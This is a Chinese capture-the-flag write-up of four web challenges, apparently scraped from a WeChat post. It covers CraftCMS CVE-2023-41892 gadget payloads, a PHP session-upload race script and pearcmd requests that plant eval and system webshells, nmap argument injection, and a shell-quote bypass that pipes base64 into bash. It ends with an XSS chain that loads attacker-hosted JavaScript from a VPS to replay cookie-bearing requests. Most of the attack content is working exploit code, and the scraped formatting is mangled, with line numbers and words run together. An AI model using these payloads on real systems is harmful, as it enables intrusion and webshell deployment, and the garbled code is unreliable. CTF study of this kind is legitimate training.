https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247487654&idx=1&sn=d02ba234aa0f3050658c577c8a9c5fd5&chksm=cf53d010f82459066708ccdb963b6ea0c7b434963ecd2754b8f8d6b02ee18373bb9801a27eb1&mpshare=1&scene=23&srcid=10317Rtf6W4ZAv2j8s0X0k6o&sharer_shareinfo=fb58105346e7282087990aab00b71e07&sharer_shareinfo_first=fb58105346e7282087990aab00b71e07#rd
大部分wp来源
craftcms 初见 根据题目描述是RCE
进入页面长这样:
http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
可以找到这个CVE
要使用RCE的话,选择:
1 action = conditions /render & configObject = craft \elements \conditions \ElementCondition & config = {"name" :"configObject" ,"as " :{"class" :"\\ GuzzleHttp\\ Psr7\\ FnStream" ,"__construct()" :[{"close" :null }],"action=conditions/render&configObject=craft\e lements\conditions\ElementCondition&config={" name ":" configObject "," as ":{" class ":" \\GuzzleHttp \\Psr 7\\FnStream "," __construct ()":[{" close ":null}]," _fn_close ":" phpinfo "}}" :"phpinfo" }}
对_fn_close
赋值,在销毁时会触发 call_user_func 方法,执行传入的命令,但只能一个参数
也可以读取文件:
1 action= conditions/ render& configObject= craft\elements\conditions\ElementCondition & config= {"name" :"configObject" ,"as " :{"class" :"\\ yii\\ rbac\\ PhpManager" ,"__construct()" :[{"itemFile" :"/var/www/html/craft/storage/logs/web-2023-09-26.log" }]}}
但是没办法直接读取日志
Imagick用不了
解决 看到了两种方法
session文件包含 https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x04-sessionupload_progresssession
通俗一点的:
详解利用session进行文件包含_利用session机制,将所有敏感文件都引入事先写好的session文件,只有session文件中-CSDN博客
学长的神奇思路,在此记一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import threadingimport requestsfrom concurrent.futures import ThreadPoolExecutor, wait target = 'http://61.147.171.105:54766/index.php' session = requests.session() flag = 'helloworld' def upload (e: threading.Event ): files = [ ('file' , ('load.png' , b'a' * 40960 , 'image/png' )), ] data = {'PHP_SESSION_UPLOAD_PROGRESS' : rf'''<?php file_put_contents('/tmp/success2', '<?=eval($_GET[1])?>'); echo('{flag} '); ?>''' } while not e.is_set(): requests.post( target, data=data, files=files, cookies={'PHPSESSID' : flag}, )if __name__ == '__main__' : futures = [] event = threading.Event() pool = ThreadPoolExecutor(15 ) for i in range (15 ): futures.append(pool.submit(upload, event)) wait(futures)
上面的脚本会向/tmp/swss_helloworld
写入<?php file_put_contents('/tmp/success2', '<?=eval($_GET[1])?>'); echo('{flag}'); ?>
,提供文件包含可能
burp爆破,利用条件竞争,不断访问传参
pearcmd 来源于wp
https://y4tacker.github.io/2022/06/19/year/2022/6/关于pearcmd利用总结/
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear
才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
并且php.ini当中 register_argc_argv=On需要开启
第一步:写入/tmp/hello.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /index.php?+config-create+/&/<?=system($_GET['a'])?>+/tmp/hello.php HTTP/1 .1 Host : 61.147.171.105:57690 Content -Length: 225 Cache -Control: max-age=0 Upgrade -Insecure-Requests: 1 Origin : http://61.147.171.105:57690 Content -Type: application/x-www-form-urlencodedUser -Agent: Mozilla/5 .0 (Macintosh; Intel Mac OS X 10 _15_7) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://61.147.171.105:57690 /index.php?+config-create+/&/%3 C?=phpinfo()?%3 E+Accept -Encoding: gzip, deflateAccept -Language: zh-CN,zh;q=0 .9 Cookie : CraftSessionId=0 f4f73c886a22cb11f6e1980b0c1a1c5; CRAFT_CSRF_TOKEN=0 ab61f9f593ede910d55226ba018126504d915a3bfa474065ee4d2d4680bd596a%3 A2%3 A%7 Bi%3 A0%3 Bs%3 A16%3 A%22 CRAFT_CSRF_TOKEN%22 %3 Bi%3 A1%3 Bs%3 A40%3 A%22 vIF55Ar8Ye6Ezz4oJK47ev5Uv6tibRZ_l8ZUZB-9 %22 %3 B%7 DConnection : closeaction =conditions%2 Frender&configObject=craft%5 Celements%5 Cconditions%5 CElementCondition&config={"name" :"configObject" ,"as " :{"class" :"\\yii\\rbac\\PhpManager" ,"__construct()" :[{"itemFile" :"/usr/local/lib/php/pearcmd.php" }]}}
利用cve读取pearcmd.php
文件,使用命令config-create
生成文件,将<?=system($_GET['a'])?>
写入到文件中
第二步:文件包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /index.php?a=cat /flag HTTP/1 .1 Host : 61.147.171.105:57690 Content -Length: 209 Cache -Control: max-age=0 Upgrade -Insecure-Requests: 1 Origin : http://61.147.171.105:57690 Content -Type: application/x-www-form-urlencodedUser -Agent: Mozilla/5 .0 (Macintosh; Intel Mac OS X 10 _15_7) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://61.147.171.105:57690 /index.php?+config-create+/&/%3 C?=phpinfo()?%3 E+Accept -Encoding: gzip, deflateAccept -Language: zh-CN,zh;q=0 .9 Cookie : CraftSessionId=0 f4f73c886a22cb11f6e1980b0c1a1c5; CRAFT_CSRF_TOKEN=0 ab61f9f593ede910d55226ba018126504d915a3bfa474065ee4d2d4680bd596a%3 A2%3 A%7 Bi%3 A0%3 Bs%3 A16%3 A%22 CRAFT_CSRF_TOKEN%22 %3 Bi%3 A1%3 Bs%3 A40%3 A%22 vIF55Ar8Ye6Ezz4oJK47ev5Uv6tibRZ_l8ZUZB-9 %22 %3 B%7 DConnection : closeaction =conditions%2 Frender&configObject=craft%5 Celements%5 Cconditions%5 CElementCondition&config={"name" :"configObject" ,"as " :{"class" :"\\yii\\rbac\\PhpManager" ,"__construct()" :[{"itemFile" :"/tmp/hello.php" }]}}
再次利用cve,打开刚刚生成的文件,传入命令
MyGO’s Live 看源码 大部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 ...const express = require ('express' );const { spawn } = require ('child_process' );const fs = require ('fs' );const app = express ();const port = 3333 ; app.use (express.static ('public' )); app.get ('/' , (req, res ) => { fs.readFile (__dirname + '/public/index.html' , 'utf8' , (err, data ) => { if (err) { console .error (err); res.status (500 ).send ('Internal Server Error' ); } else { res.send (data); } }) } );function escaped (c ) { if (c == ' ' ) return '\\ ' ; if (c == '$' ) return '\\$' ; if (c == '`' ) return '\\`' ; if (c == '"' ) return '\\"' ; if (c == '\\' ) return '\\\\' ; if (c == '|' ) return '\\|' ; if (c == '&' ) return '\\&' ; if (c == ';' ) return '\\;' ; if (c == '<' ) return '\\<' ; if (c == '>' ) return '\\>' ; if (c == '(' ) return '\\(' ; if (c == ')' ) return '\\)' ; if (c == "'" ) return '\\\'' ; if (c == "\n" ) return '\\n' ; if (c == "*" ) return '\\*' ; else return c; } app.get ('/checker' , (req, res ) => { let url = req.query .url ; if (url) { if (url.length > 60 ) { res.send ("我喜欢你" ); return ; } url = [...url].map (escaped).join ("" ); console .log (url); let host; let port; if (url.includes (":" )) { const parts = url.split (":" ); host = parts[0 ]; port = parts.slice (1 ).join (":" ); } else { host = url; } let command = "" ; if (port) { if (isNaN (parseInt (port))) { res.send ("我喜欢你" ); return ; } command = ["nmap" , "-p" , port, host].join (" " ); } else { command = ["nmap" , "-p" , "80" , host].join (" " ); } var fdout = fs.openSync ('stdout.log' , 'a' ); var fderr = fs.openSync ('stderr.log' , 'a' ); nmap = spawn ("bash" , ["-c" , command], {stdio : [0 ,fdout,fderr] } ); nmap.on ('exit' , function (code ) { console .log ('child process exited with code ' + code.toString ()); if (code !== 0 ) { let data = fs.readFileSync ('stderr.log' ); console .error (`Error executing command: ${data} ` ); res.send (`Error executing command!!! ${data} ` ); } else { let data = fs.readFileSync ('stdout.log' ); console .error (`Ok: ${data} ` ); res.send (`${data} ` ); } }); } else { res.send ('No parameter provided.' ); } }); ...
注意到没有对-
进行转义,可以从此入手
开始入手 有了以上分析,先选择看看nmap文档:https://nmap.org/man/zh/index.html
注意到:
1 2 3 4 5 6 7 ... -iL <inputfilename> (从列表中输入) 从 <inputfilename>中读取目标说明。在命令行输入 一堆主机名显得很笨拙,然而经常需要这样。 例如,您的DHCP服务器可能导出10,000个当前租约的列表,而您希望对它们进行 扫描。如果您不是使用未授权的静态IP来定位主机,或许您想要扫描所有IP地址。 只要生成要扫描的主机的列表,用-iL 把文件名作为选项传给Nmap。列表中的项可以是Nmap在 命令行上接受的任何格式(IP地址,主机名,CIDR,IPv6,或者八位字节范围) 。 每一项必须以一个或多个空格,制表符或换行符分开。 如果您希望Nmap从标准输入而不是实际文件读取列表, 您可以用一个连字符(-) 作为文件名。 ... -oN <filespec> (标准输出) 要求将标准输出直接写入指定的文件。 ...(当然还有别的输出形式)
可以将结果输出到静态目录public下的index.html
flag在哪里&消失的空格 1 2 3 4 5 ...COPY flag /flag RUN mv /flag /flag-$(head -n 1000 /dev/random | md5sum | head -c 16) ...
总之就是flag文件夹后面有一串数字,但是把*
给ban了,不能用正则表达式
可以使用通配符:/flag-????????????????
可以用{}
绕过空格过滤
最终结果:?url={-iL,/flag-????????????????,-oN,public/index.html}
Ave Mujica’s Masquerade(MyGO’s Live plus) 看源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 ...const express = require ('express' );const { spawn } = require ('child_process' );const shellQuote = require ('shell-quote' );const fs = require ('fs' );const app = express ();const port = 3333 ; app.use (express.static ('public' )); app.get ('/' , (req, res ) => { fs.readFile (__dirname + '/public/index.html' , 'utf8' , (err, data ) => { if (err) { console .error (err); res.status (500 ).send ('Internal Server Error' ); } else { res.send (data); } }) } ); app.get ('/checker' , (req, res ) => { let url = req.query .url ; if (url) { let host; let port; if (url.includes (":" )) { const parts = url.split (":" ); host = parts[0 ]; port = parts.slice (1 ).join (":" ); } else { host = url; } if (port) { command = shellQuote.quote (["nmap" , "-p" , port, host]); } else { command = shellQuote.quote (["nmap" , "-p" , "80" , host]); } nmap = spawn ("bash" , ["-c" , command]); console .log (command); nmap.on ('exit' , function (code ) { console .log ('child process exited with code ' + code.toString ()); if (code !== 0 ) { res.send (`Error executing command!!!` ); } else { res.send (`Ok...` ); } }); } else { res.send ('No parameter provided.' ); } }); ...
升级版,没了直接输出,过滤的函数改为了shellQuote = require('shell-quote')
看看shellQuote:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 export type ControlOperator = "||" | "&&" | ";;" | "|&" | "<(" | ">>" | ">&" | "&" | ";" | "(" | ")" | "|" | "<" | ">" ;export type ParseEntry = | string | { op : ControlOperator } | { op : "glob" ; pattern : string } | { comment : string };export interface ParseOptions { escape ?: string | undefined ; }export function quote (args: ReadonlyArray<string > ): string ;export function parse ( cmd: string , env?: { readonly [key: string ]: string | undefined }, opts?: ParseOptions, ): ParseEntry [];export function parse<T extends object | string >( cmd : string , env : (key: string ) => T | undefined , opts?: ParseOptions , ): Array <ParseEntry | T>;
百度得知用于避免命令注入,怎么下手呢?
尝试入手 https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html
有个cve可以利用,简而言之就是可以利用反引号和冒号绕过
比如:
1 2 3 `:`something``: 会变成 `:\`something\``: \
学长的writeup 1 http: //124.70 .33.170 : 24001 /checker?url=90 :` :`bash $IFS -c$IFS {echo,Y3AgL2ZsYWcqIC9hcHAvcHVibGljL2xpYW9mbGFn }|{base64,-d}|{bash,-i}``:`
使用$IFS
和{}
绕过了空格过滤,将需要的内容cp /flag* /app/public/liaoflag
进行base64编码绕过
感觉有点问题,插眼
easy latex https://gudiffany.github.io/2023/11/01/17-29-04/
有bot,是xss
1 2 3 4 5 6 7 8 9 ...const page = await ctx.newPage (); await page.setCookie ({ name : 'flag' , value : FLAG , domain : `${APP_HOST} :${APP_PORT} ` , httpOnly : true }) ...
有httponly,只有在与服务器的 HTTP 请求中,浏览器会自动发送该 cookie才能访问,太坏了
浏览一下页面
一个平平无奇的框,可以输东西
可以预览输了啥,需要登录才能submit
弹了个窗口
源码 1 2 3 4 5 6 7 8 9 10 11 12 app.post ('/login' , (req, res ) => { let { username, password } = req.body if (md5 (username) != password) { res.render ('login' , { msg : 'login failed' }) return } let token = sign ({ username, isVip : false }) res.cookie ('token' , token) res.redirect ('/' ) })
app.js
中的登录页面
1 2 3 4 5 ...<div class ="mt-4" > <latex-js id ="tex" baseURL ="<%= base %>" > <%= tex %></latex-js > </div > ...
预览界面,submit后有个弹窗:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ... app.get ('/preview' , (req, res ) => { let { tex, theme } = req.query if (!tex) { tex = 'Today is \\today.' } const nonce = getNonce (16 ) let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/' if (theme) { base = new URL (theme, `http://${req.headers.host} /theme/` ) + '/' } res.render ('preview.html' , { tex, nonce, base }) }) ...
注意到有些页面需要vip身份,只能到vip页面获得:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 app.post ('/vip' , auth, async (req, res) => { let username = req.session .username let { code } = req.body let vip_url = VIP_URL let data = await (await fetch (new URL (username, vip_url), { method : 'POST' , headers : { Cookie : Object .entries (req.cookies ).map (([k, v] ) => `${k} =${v} ` ).join ('; ' ) }, body : new URLSearchParams ({ code }) })).text () if ('ok' == data) { res.cookie ('token' , sign ({ username, isVip : true })) res.send ('Congratulation! You are VIP now.' ) } else { res.send (data) } })
直接进入发现失败,转到app.py查看vip:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ...@app.post('/<username>' ) def check (username ): token = request.cookies.get('token' ) if not token: return "unauthorized access?" code = request.form.get('code' ) if not code: return "no invitation code specified" if check_invitation_code(username, code): return 'ok' return 'invalid invitation code' @app.get('/new' ) def new_code (): code = new_invitation_code() invitation_codes.append(code) print ('new invitation code:' , code) return "done" ...
需要生成code
重新观察vip界面,发现利用点:
1 2 3 4 5 6 7 let data = await (await fetch (new URL (username, vip_url), { method : 'POST' , headers : { Cookie : Object .entries (req.cookies ).map (([k, v] ) => `${k} =${v} ` ).join ('; ' ) }, body : new URLSearchParams ({ code }) })).text ()
开始着手
注意到a重定向,值与URL构造时第一个值相同,而此代码第一个值为username,可控
1 2 3 4 5 6 7 8 9 10 from flask import Flask, request app = Flask(__name__)@app.route('/' , methods = ['POST' ] ) def return_ok (): return 'ok' app.run(host='0.0.0.0' ,port=10086 )
起一个服务,把它的ip作为用户名登录,再用POST访问vip界面就能发现成为了vip
回到preview页面,注意到另一个传参点theme,可以以theme=//...url/
的形式传递vps地址
注意到访问了该域名下的base.js
回到app.js,注意到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... app.get ('/share/:id' , reportLimiter, async (req, res) => { const { id } = req.params if (!id) { res.send ('no note id specified' ) return } const url = `http://localhost:${PORT} /note/${id} ` try { await visit (url) res.send ('done' ) } catch (e) { console .log (e) res.send ('something error' ) } }) ...
跟踪visit()
函数,来到bot.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ...const visit = async (url ) => { ... try { const page = await ctx.newPage (); await page.setCookie ({ name : 'flag' , value : FLAG , domain : `${APP_HOST} :${APP_PORT} ` , httpOnly : true }) await page.goto (url, {timeout : 5000 }) await sleep (3000 ) await page.close () }catch (e){ console .log (e); } ... } ...
最终解决 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%31%31%31%26%74%68%65%6d%65%3d%2f%2f%34%33%2e%31%33%39%2e%31%35%34%2e%32%31%39%3a%31%30%30%38%37%2f%61 HTTP/1.1 Host: 127.0.0.1:3000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0dHA6Ly80My4xMzkuMTU0LjIxOToxMDA4NiIsImlzVmlwIjp0cnVlLCJpYXQiOjE2OTg4MzAwNTN9.IGd1UPmSK0uoFJEC7WnbIH1mNqsxWX-pTOGDR8fuza7gb7j7Uuec0QJyqhsmEIS2UDIZCJyuKOIPnO6UZzYLK6plRcMRRaEGsIukcOYdI6gasZzomJK1Q5y4iWYM3PNgXSUfb-ck-P_CmG8lUKqXYIlujLXsEaHMT3lH2U7f4mP_6y_wZtg9H9rDzW7s2dhZ5hx4gJZKgMDAwgfl9UlE04CGgepkWPP40LryG4CKIADwmVbh5cVLw-Sn3W3-f53_tVCqAkIpQyDUtdEizZal4rYULlvpoll1hNkPoyATcggK3GoADKYIp7SRdPPxC3XqiO0usOrma4mupA7z7s82GA sec-ch-ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-fetch-site: none sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document Connection: close
这个请求包通过/share/../preview?..
的形式访问刚才存在xss的界面,该界面会加载vps下的base.js,
此时只需在vps上挂载base.js:
1 2 3 4 5 6 document .cookie += 'token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0dHA6Ly80My4xMzkuMTU0LjIxOToxMDA4NiIsImlzVmlwIjp0cnVlLCJpYXQiOjE2OTg4MzAwNTN9.IGd1UPmSK0uoFJEC7WnbIH1mNqsxWX-pTOGDR8fuza7gb7j7Uuec0QJyqhsmEIS2UDIZCJyuKOIPnO6UZzYLK6plRcMRRaEGsIukcOYdI6gasZzomJK1Q5y4iWYM3PNgXSUfb-ck-P_CmG8lUKqXYIlujLXsEaHMT3lH2U7f4mP_6y_wZtg9H9rDzW7s2dhZ5hx4gJZKgMDAwgfl9UlE04CGgepkWPP40LryG4CKIADwmVbh5cVLw-Sn3W3-f53_tVCqAkIpQyDUtdEizZal4rYULlvpoll1hNkPoyATcggK3GoADKYIp7SRdPPxC3XqiO0usOrma4mupA7z7s82GA' var xhr = new XMLHttpRequest (); xhr.open ("POST" , '/vip' , true ); xhr.send ('code=1' );
这样访问share界面时就会访问base.js,发出携带cookie的请求